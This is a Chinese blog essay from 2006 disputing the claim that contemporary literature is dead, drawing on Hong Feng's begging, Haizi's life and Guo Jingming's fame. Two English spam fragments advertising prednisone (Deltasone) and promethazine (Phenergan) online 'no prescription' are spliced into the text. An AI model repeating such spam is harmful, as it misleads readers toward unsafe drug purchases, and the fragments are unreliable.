我把他的两段话如此并置在一起，是想说，诗人或作家生来就是被剥夺了的。因为宿命或现实的剥夺，诗人的心志才敏感起来，才获得了与物质之上世界的神秘共鸣，才能体察生命的卑微与局促，才能写出不同凡响的句子。另一方面，写作者在尘世中的存在也是受到限制的，他仰仗于“镜子”获得魔力，一旦他走出界线，渴求他不应得到的东西，他的光环就会消退，就等同于芸芸众生，甚至因此失去诗人和作家的身份。

用这样的方式来看，洪峰的实名制乞讨就不再是简单的现实抗争，就能获得一点形而上意味。他从自己的镜子中走出了一小步，被一个少女看见并拍了下来，然后又很快地退缩了回去。他的乞讨并不像叶匡政所夸大的那样，是什么宏大的文本，而不过是偶然而轻微的“失禁”罢了。 anti-inflammatories, deltasone online no prescription , india pharmaceutical exports deltasone difference between apo prednisone teva prednisone.

那么，洪峰的镜子又是什么呢？是一个茧。《大师与玛格丽特》的前50页对这个茧有很好的描述。在社会主义制度下，为了鼓励写出歌颂时代的伟大篇章，人民为作家和诗人提供了温暖而舒适的茧，只要他获得盖了印章的红色证书，他就可以终生寄居在那里，不仅衣食无忧，周围还有戴着三叶草的少女在翩翩起舞。当然，我们现在知道，这是一种制度幻觉。温暖的茧正在崩溃，只有少数人还享有不断削减的特权，更多的诗人和作家被“驱赶到了风沙扑面的大街上”（孔庆东语）。像我这样的人，早就适应了无情的“驱赶”，但年近五十的洪峰显然无法适应，他用乞讨的方式表达了对茧的怀念，他的乞讨里有乡愁。

写作者的窘境并非仅仅来自意识形态，虽然意识形态的挤压最让人感到不适，最能引发怜悯。叶匡政在用莱蒙托夫式的激烈口吻宣扬“文学死了”的时候，他所犯的错误，是混淆了各种形式的“剥夺”，并把它化约为一种政治阉割。实际上，如果我们回想一下海子的生平，我们就不难了解，剥夺有时其实来自时代深处某种无法辨识的冷漠，甚至就来自人民（也许叫群氓更合适）。当海子写出那些辉煌而自悯的抒情诗的时候，人民在哪里呢？拒绝他的女人是人民吗？小饭馆的老板是人民吗？对他的诗报以冷笑的同行是人民吗？他被两种事物拒绝，一是他自己肉体中的病态内驱力，一是周遭世界的坚硬与锋利，所以他死了。只有等到他以失禁的方式死去，我们才能重新发现他，传诵他的诗篇，怀念他圣徒般清苦而窘迫的生涯。所以说，当我们控诉的时候，我们不妨回过头来自我审视一眼：我，我自己，是不是凶手？

我赞同叶匡政所说的当代文学的十四种死状，如果我有足够的耐心，还可以列举更多。在我看来，如果说当代文学遇到了什么要命问题，倒不见得就是“虚伪的、僵死的文学秩序”在作祟。文学已经变成了一个无限开放的系统，不可能因为熵增而热死。文学到底什么？当然不是几个老同志把持的作家协会，几个迂腐学者凑在一起弄的晦涩杂志，但好象也不是满大街上堆得跟死鱼一般的玄幻与言情。我个人以为，这是一个好的文学时代，洪峰可以继续要求沈阳市长给他固定工资，郭四可以跟朋友在西湖吃生鱼片，谁谁可以顶着治安管理处罚法的刀片儿脱掉内裤，如果这个系统更加开放，就更好了，如果诗人可以在王府井拥抱陌生女人而不被抓起来，如果作家向基金会申请资助而不是向政府乞怜，如果有才华的写作者和混文学饭的人在不同的圈子里都混得不错，如果作家协会评了什么奖大家都不眼红不生气不在乎，如果人民不因为诗人说了粗话就把诗人看作敌人，等等，那就更好了。但我们也不急于吁求这种时代马上到临。说到底，于文学而言，挤压也是一种财富，因为有《古拉格群岛》这样的先例，晾着你、不睬你也是财富，因为有海子这样的先例。所以，我以为，叶匡政列举的所有“死亡”都丝毫不让人恐慌，恰恰在僵死的秩序之外，我们能迎接文学真正的、散漫的、恣肆的可能性。

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那么，当代文学的真正问题是什么呢？我觉得有两个。一是写作者缺乏巨大的才华和耐心。除了才华，没有任何别的可以为写作者做证，脱裤子固然不行，把自己挂在钩子上也不行，爬到鸟笼子和兽栏里都不行，希奇古怪的行为固然可以吸引公众的注意力，但不足以让阅读者死在你的文字里，用眼泪为你送葬。从我的视野来说，我还很少看到耀眼的才华，或者有才华的人也缺乏力量、被尘世湮灭。这个问题可以归结到神秘主义，因为我实在不知道，天才如何降生，又如何在水上飘行以渡过风暴。

另一个问题是糟糕的时代趣味，或者说是普遍的审美力低下。我不是一个做学问的人，总结不出什么象样的门道，但我有一个模糊的猜测，那就是先有文化革命切除了人民的文化之根，后有应试教育为年轻一代的审美做了绝育手术。这是一个巨大的、难以抵挡的荒漠，是真正的悲剧所在。总结一下我们时代的写作偶像，那真叫一代不如一代啊，王朔和王小波的文字还是不折不扣的文学，郭敬明那幼稚得无以复加的涂鸦怎么也会受到追捧呢？什么是当代文学的耻辱？那就是孩子们人手一本郭氏著作还读得如痴如醉，是一个抄袭者用赝品迷惑了一个时代还不容辩驳，是文学需要法庭为它清理门户。如果说，我在文学方面也是一个悲观主义者，就体现在这里，我担心我身处其中的时代永远不渴望钻石和黄玉，永远沉湎于速食面和防腐剂。 phenergan online pharmacy phenergan online pharmacy cheap Promethazine

那就这样说出我的结论吧，“文学死了”是一个虚假命题，是一个诗人的内在惶恐的曲折映射，是他踉跄着迎接“文本互动时代”所发出的哀叹。

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我惊讶于，他为什么看不到日出，看不到破茧而出的锐利光芒。那光芒虽然细小而娇嫩，但它多么夺目、多么动人，映照出我们的破败和灰暗。

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Posted on 11月 2nd, 2006 by 那么蓝 | 19 Comments »